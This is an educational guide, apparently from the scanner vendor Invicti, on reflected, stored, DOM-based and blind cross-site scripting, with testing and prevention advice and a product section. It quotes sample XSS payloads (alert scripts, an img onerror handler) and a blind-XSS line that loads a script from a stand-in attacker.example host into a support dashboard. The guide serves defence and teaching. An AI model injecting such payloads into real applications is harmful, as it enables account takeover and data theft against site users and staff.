Cross-site scripting (XSS) has been a web application security problem for more than two decades, and it remains relevant as application architectures create new places for unsafe content to execute. Modern applications use complex frontend frameworks, third-party scripts, single-page application (SPA) patterns, application programming interface (API)-driven interfaces, AI-generated code, and backend dashboards – all of which can introduce additional XSS attack paths.
The OWASP Top 10:2025 includes XSS under A05:2025 Injection, reflecting its continued importance as a web application security risk.

XSS is commonly categorized as reflected, stored, and DOM-based. Blind XSS is an important stored or second-order variant that requires a different detection method, so this guide treats it separately. Together, these four forms cover the main XSS behaviors that security and development teams need to understand and test.
Cross-site scripting is a web security vulnerability that allows attacker-controlled code to execute in another user’s browser within the context of a trusted website or application.
Although JavaScript is the most common payload language, the underlying issue is broader: untrusted input reaches an executable browser context without appropriate encoding, sanitization, or safe DOM handling. Because the browser treats the content as part of the legitimate application, attacker-controlled code may be able to access page data and browser APIs or perform actions available to the victim.
Depending on the application and the victim’s permissions, XSS can be used to:
The HttpOnly attribute prevents JavaScript from reading a cookie directly through document.cookie, limiting one specific session-theft technique. It does not prevent XSS or materially contain its broader impact: injected code can still read page content, capture user input, make authenticated requests, and perform actions with the victim’s permissions.
Each form calls for a different testing approach. Reflected XSS can often be tested within one request-response cycle. Stored XSS requires submission and later observation. DOM-based XSS requires JavaScript execution and source-to-sink analysis. Blind XSS typically requires out-of-band (OOB) detection to confirm delayed execution.
Reflected XSS occurs when an application takes attacker-controlled input from an HTTP request and includes it in the immediate response without context-appropriate output encoding or other effective safeguards.
The payload is not stored by the application. Instead, it is reflected to the user in a server-generated response.
A simple example is a search page that displays a search term:
<p>You searched for: <script>alert('XSS')</script></p>If the application inserts the search parameter directly into an executable HTML context, the browser may run the script. Real exploitability depends on the output context, browser parsing, application behavior, and controls such as Content Security Policy (CSP).
A reflected XSS attack often relies on social engineering. An attacker creates a request containing a payload and persuades the victim to send that request to the vulnerable application, commonly by following a crafted URL.
For example:
https://example.com/search?q=%3Cscript%3Ealert(document.domain)%3C%2Fscript%3EThe payload is usually URL-encoded. It may be delivered through email, messaging platforms, social media, QR codes, advertisements, or another trusted-looking channel. Reflected XSS can also be triggered through attacker-controlled form submissions or embedded requests, so it does not always require a conventional link click.
When the application reflects the payload into an unsafe browser context, the browser may execute it as content from the trusted site.
Reflected XSS can be used to:
Reflected XSS often affects one victim per delivered request, but it can still have serious consequences when attackers target privileged users or distribute the malicious request at scale.
Reflected XSS persists because applications continue to place user-controlled input into HTML, JavaScript, URL, CSS, or attribute contexts without applying the correct context-specific encoding.
Common causes include:
Dynamic application security testing (DAST) tools can often test reflected XSS efficiently because the input and potentially vulnerable output appear in the same request-response cycle. Accurate confirmation still requires the scanner to determine whether the payload can execute, rather than merely checking whether a test string was reflected.
Stored XSS, also called persistent XSS, occurs when an application saves attacker-controlled content and later renders it in an unsafe browser context.
The payload might be stored in:
Unlike a typical reflected XSS attack, stored XSS does not require the attacker to deliver a separate crafted request to each victim. Once the payload is stored, users may trigger it simply by viewing the affected content.
An attacker submits content containing an executable payload:
Great post! <img src="x" onerror="alert(document.domain)">The application stores the content. Later, another user loads a page where the content appears. If the application renders it without appropriate encoding or sanitization, the browser may execute the payload.
This example is intentionally benign. A real attack could attempt to access data available to the page, alter application behavior, or perform actions within the victim’s session.
Stored XSS can have broader impact than reflected XSS because it is persistent and may execute for many users without further delivery by the attacker.
Depending on where the payload is stored and rendered, it can:
The Samy worm on MySpace remains a well-known example of stored XSS propagation. In 2005, the payload spread across more than one million profiles, showing how quickly persistent browser-executed code can scale when user-generated content is rendered unsafely.
Stored XSS is not always more severe than reflected XSS. Actual risk depends on factors such as the affected users, the application’s sensitivity, payload reach, available privileges, and whether security controls limit execution.
Stored XSS requires multi-step testing. A scanner or tester generally needs to:
This is harder than testing many reflected XSS cases because submission and execution may occur in different pages, workflows, roles, sessions, or applications.
DOM-based XSS occurs when client-side JavaScript reads attacker-controlled data and passes it to an unsafe sink that creates an executable browser context.
The defining issue is the client-side data flow. The server response may be safe, and the vulnerable behavior may emerge only after JavaScript runs in the browser. Some DOM-based payloads never reach the server, while others originate from data that previously passed through a server or API.
DOM-based XSS depends on sources and sinks.
A source is a location from which JavaScript reads potentially attacker-controlled data. Common sources include:
document.locationdocument.URLlocation.hashlocation.searchdocument.referrerwindow.namelocalStoragesessionStoragepostMessage()A sink is a function or property that may create an executable context when it receives unsafe data. Common sinks include:
innerHTMLouterHTMLdocument.write()eval()Function()setTimeout() with string inputsetInterval() with string inputjavascript: URLFor example:
const value = document.location.hash.substring(1);
document.getElementById("result").innerHTML = value;A crafted URL might contain:
https://example.com/#<img src=x onerror=alert(document.domain)>In normal browser navigation, the fragment portion of a URL is not included in the HTTP request sent to the server. In this example, client-side JavaScript reads the fragment and writes it to innerHTML, which may cause the event handler to execute.
Frameworks such as React, Vue, and Angular provide automatic escaping in many standard rendering paths. XSS risk returns when developers bypass those protections, use unsafe APIs, trust unverified HTML, or manipulate the DOM directly.
React example:
// Vulnerable when userInput is untrusted
function SearchResult({ userInput }) {
return <div dangerouslySetInnerHTML={{ __html: userInput }} />;
}
// Safer for plain text
function SearchResult({ userInput }) {
return <div>{userInput}</div>;
}Vue example:
<!-- Vulnerable when userContent is untrusted -->
<div v-html="userContent"></div>
<!-- Safer for plain text -->
<div>{{ userContent }}</div>These escape hatches have legitimate uses, but when an application genuinely needs to render untrusted HTML, it should sanitize that content with a well-maintained, context-appropriate library such as DOMPurify and keep the library updated. The framework’s normal escaped rendering should remain the default everywhere else. Sanitization policies also need testing because parser behavior, framework updates, and application-specific transformations can affect the result.
DOM-based XSS can be harder to detect because:
DAST tools need browser execution or accurate DOM simulation to test DOM-based XSS in modern JavaScript applications. Static analysis can also help identify suspicious source-to-sink paths, but runtime testing determines whether the path is reachable and exploitable in the running application.
Blind XSS is a stored or second-order XSS variant in which the payload executes in a page or system that the attacker cannot directly observe.
This often occurs in backend tools such as:
The attacker submits a payload through a public or low-privilege input. The payload executes later when an internal user or automated process renders that data in a browser context.
In an ordinary stored XSS workflow, the attacker or tester may be able to load the page where the payload appears.
With blind XSS, the execution point is hidden. The payload might run in a support agent’s browser, an admin dashboard, or an internal tool that is inaccessible from the public application. The original response does not show whether execution occurred.
For automated testing, the practical way to confirm this delayed execution is typically an OOB callback. A unique payload sends a harmless request to a controlled service when it runs, allowing the scanner or tester to associate the callback with the original input.
A public support form accepts a message field. An attacker submits:
I need help with my account.
<script src="https://attacker.example/payload.js"></script>The application stores the message in a support database. Later, a support agent opens the ticket in an internal dashboard. If the dashboard renders the message without safe encoding or sanitization, the browser loads and executes the external script.
Depending on the dashboard and the agent’s permissions, the script may be able to:
The risk can be high because the victim may have access that an external user does not.
Blind XSS often reaches internal users with elevated permissions, such as support agents, administrators, moderators, or security analysts.
This can create a path from low-privilege input to execution in a more privileged session. It is not automatically privilege escalation in every case, but it may enable privilege abuse or broader compromise when the internal user can access sensitive data and functions.
Blind XSS can also remain undiscovered for long periods because the vulnerable rendering point is outside the normal user-facing workflow and may not be covered by conventional request-response testing.
Blind XSS testing typically uses OOB detection. The test payload contains a unique callback reference that sends a request to a scanner-controlled service when it executes.
A benign example is:
<script src="https://callback.example/unique-test-id.js"></script>If the callback service receives a request for the unique test ID, the payload executed somewhere. The callback can confirm execution without collecting cookies, page content, internal URLs, or other sensitive information.
Because execution may occur later and in a different session or application, the scanner needs to preserve the relationship between the submitted payload and the eventual callback.
Scanners limited to immediate request-response analysis look for evidence in their own HTTP exchange. Blind XSS breaks that model.
The scanner submits a payload, but execution may happen:
OOB infrastructure provides the delayed feedback channel needed for automated blind XSS detection.
Self-XSS is a social engineering technique in which a victim is persuaded to paste JavaScript into their own browser console or another executable context. It does not, by itself, demonstrate that the application executes attacker-controlled code for other users, but it can still lead to account compromise. Related weaknesses such as clickjacking, cross-site request forgery, or unsafe browser workflows may sometimes remove or reduce the required user interaction as part of a broader exploit chain.
Mutation XSS, or mXSS, can occur when HTML that appears safe after sanitization is reparsed or normalized into a different DOM structure by the browser. Those parsing mutations may create executable elements or attributes that were not apparent in the sanitized string, exposing gaps between the sanitizer’s parsing model and the browser’s final interpretation.
Universal XSS, or UXSS, exploits a browser or browser extension vulnerability rather than a flaw in one web application. A successful UXSS attack may bypass same-origin protections across multiple sites. These issues are normally handled as browser or extension security vulnerabilities.
Reflected and stored XSS describe how attacker-controlled data reaches a page, while DOM-based XSS describes where the unsafe processing occurs. These categories can overlap.
For example, an application might store attacker-controlled content on the server and later pass it to client-side JavaScript, which writes it to an unsafe DOM sink such as innerHTML. That issue is both stored and DOM-based XSS.
This overlap is why testers need to follow the complete data flow rather than assigning a vulnerability to a category based only on where the input first entered the application.
These comparisons are general. The severity of any XSS vulnerability depends on reachability, browser context, user privileges, available data and actions, application sensitivity, and compensating controls.
Invicti uses DAST to test running web applications and APIs across multiple execution contexts.
For reflected XSS, Invicti sends test payloads through discovered inputs and analyzes how the application returns and processes them. It does not rely only on finding a reflected string. Where safe and technically possible, proof-based scanning executes a harmless confirmation payload in the embedded browser environment to verify that the behavior is exploitable.
For stored XSS, Invicti can submit payloads through application inputs and check where those values later appear. Coverage depends on whether the scanner can reach the relevant submission and rendering workflows, including authenticated areas and multi-step processes.
For DOM-based XSS, Invicti uses browser-based crawling and DOM simulation to execute JavaScript and observe client-side behavior that HTTP-only scanning can miss. For confirmed DOM-based XSS, Invicti can provide technical context such as stack traces from its internal DOM simulation to help developers locate the source-to-sink path.
For blind and other second-order vulnerabilities, Invicti uses dedicated OOB infrastructure to detect callbacks that occur outside the immediate scan response. This allows the scanner to confirm execution even when the affected backend page is inaccessible or the payload fires later.
Not every potential vulnerability can be automatically confirmed. When confirmation is possible, proof-based scanning provides a proof of concept and marks the issue as confirmed, helping teams prioritize validated runtime risk and reducing the need for manual reproduction.
API inputs can also contribute to XSS when API-supplied data is later rendered in a browser. Effective testing therefore needs to cover both the API entry point and the browser context where the data is ultimately used.
Knowing how reflected, stored, DOM-based, and blind XSS differ helps teams select the right prevention and testing methods. Finding those vulnerabilities across a real application environment requires more than searching responses for script tags.
Modern XSS testing may require authenticated crawling, browser execution, stored-workflow coverage, API testing, safe exploit confirmation, and OOB detection. A DAST-first approach adds the runtime evidence needed to distinguish exploitable behavior from suspicious but unconfirmed data flows.
Reflected, stored, DOM-based, and blind XSS describe different delivery, persistence, and execution behaviors. Those differences determine how vulnerabilities should be prevented, detected, and confirmed.
Reflected XSS appears in an immediate response. Stored XSS persists in application data. DOM-based XSS results from unsafe client-side data processing. Blind XSS executes in a hidden or delayed workflow that the attacker cannot directly observe.
Reliable coverage requires more than simple reflection checks. Modern XSS testing can involve browser-based crawling, JavaScript execution, authenticated and multi-step workflows, API inputs, safe runtime confirmation, and OOB detection. Together, these capabilities provide the evidence teams need to find and prioritize exploitable XSS across real application environments.
XSS is commonly categorized as reflected, stored, and DOM-based. Blind XSS is a stored or second-order variant that is often discussed separately because it executes in a hidden workflow and usually requires OOB confirmation. Reflected XSS returns attacker-controlled input in an immediate response, stored XSS persists the input for later rendering, and DOM-based XSS results from unsafe client-side data processing.
Reflected XSS returns attacker-controlled request data in an immediate response. It often relies on delivering a crafted link or request to a victim. Stored XSS saves attacker-controlled content and later renders it to one or more users. Stored XSS can have broader reach because the payload persists, but severity depends on the affected context and users.
DOM-based cross-site scripting is a type of cross-site scripting (XSS) attack executed within the Document Object Model (DOM) of a page loaded into the browser. A DOM-based XSS attack is possible if the web application writes data to the DOM without proper sanitization.
DOM XSS depends on browser-side JavaScript execution and a reachable source-to-sink path. Server responses may appear safe, logs may not contain the payload, and the vulnerable behavior may occur only after rendering, route changes, or user interaction.
Blind cross-site scripting is similar to stored cross-site scripting, but in a blind XSS attack, the web application stores the payload sent by an attacker and only executes it later – at a different time, in a different place, or possibly even in another web application.
Blind XSS may execute in the browser of a privileged internal user. Depending on that user’s access and the application context, the payload could expose sensitive records or perform administrative actions.
Blind cross-site scripting is very difficult to detect because it can span more than one application. The tools used to scan your web applications must be advanced enough to recognize attacks that are initiated from one application but affect another.
Yes. These frameworks provide useful default escaping, but XSS can still occur through unsafe HTML-rendering APIs, direct DOM manipulation, vulnerable third-party components, trust-bypass functions, or attacker-controlled values passed to navigation sinks such as location.href, including unsafe javascript: URLs.
Invicti tests reflected XSS through active payload injection and runtime analysis, stored XSS through submit-and-observe workflows, DOM-based XSS through browser execution and DOM simulation, and blind XSS through OOB callback detection. Where safe and technically possible, proof-based scanning confirms exploitable XSS with a proof of concept.
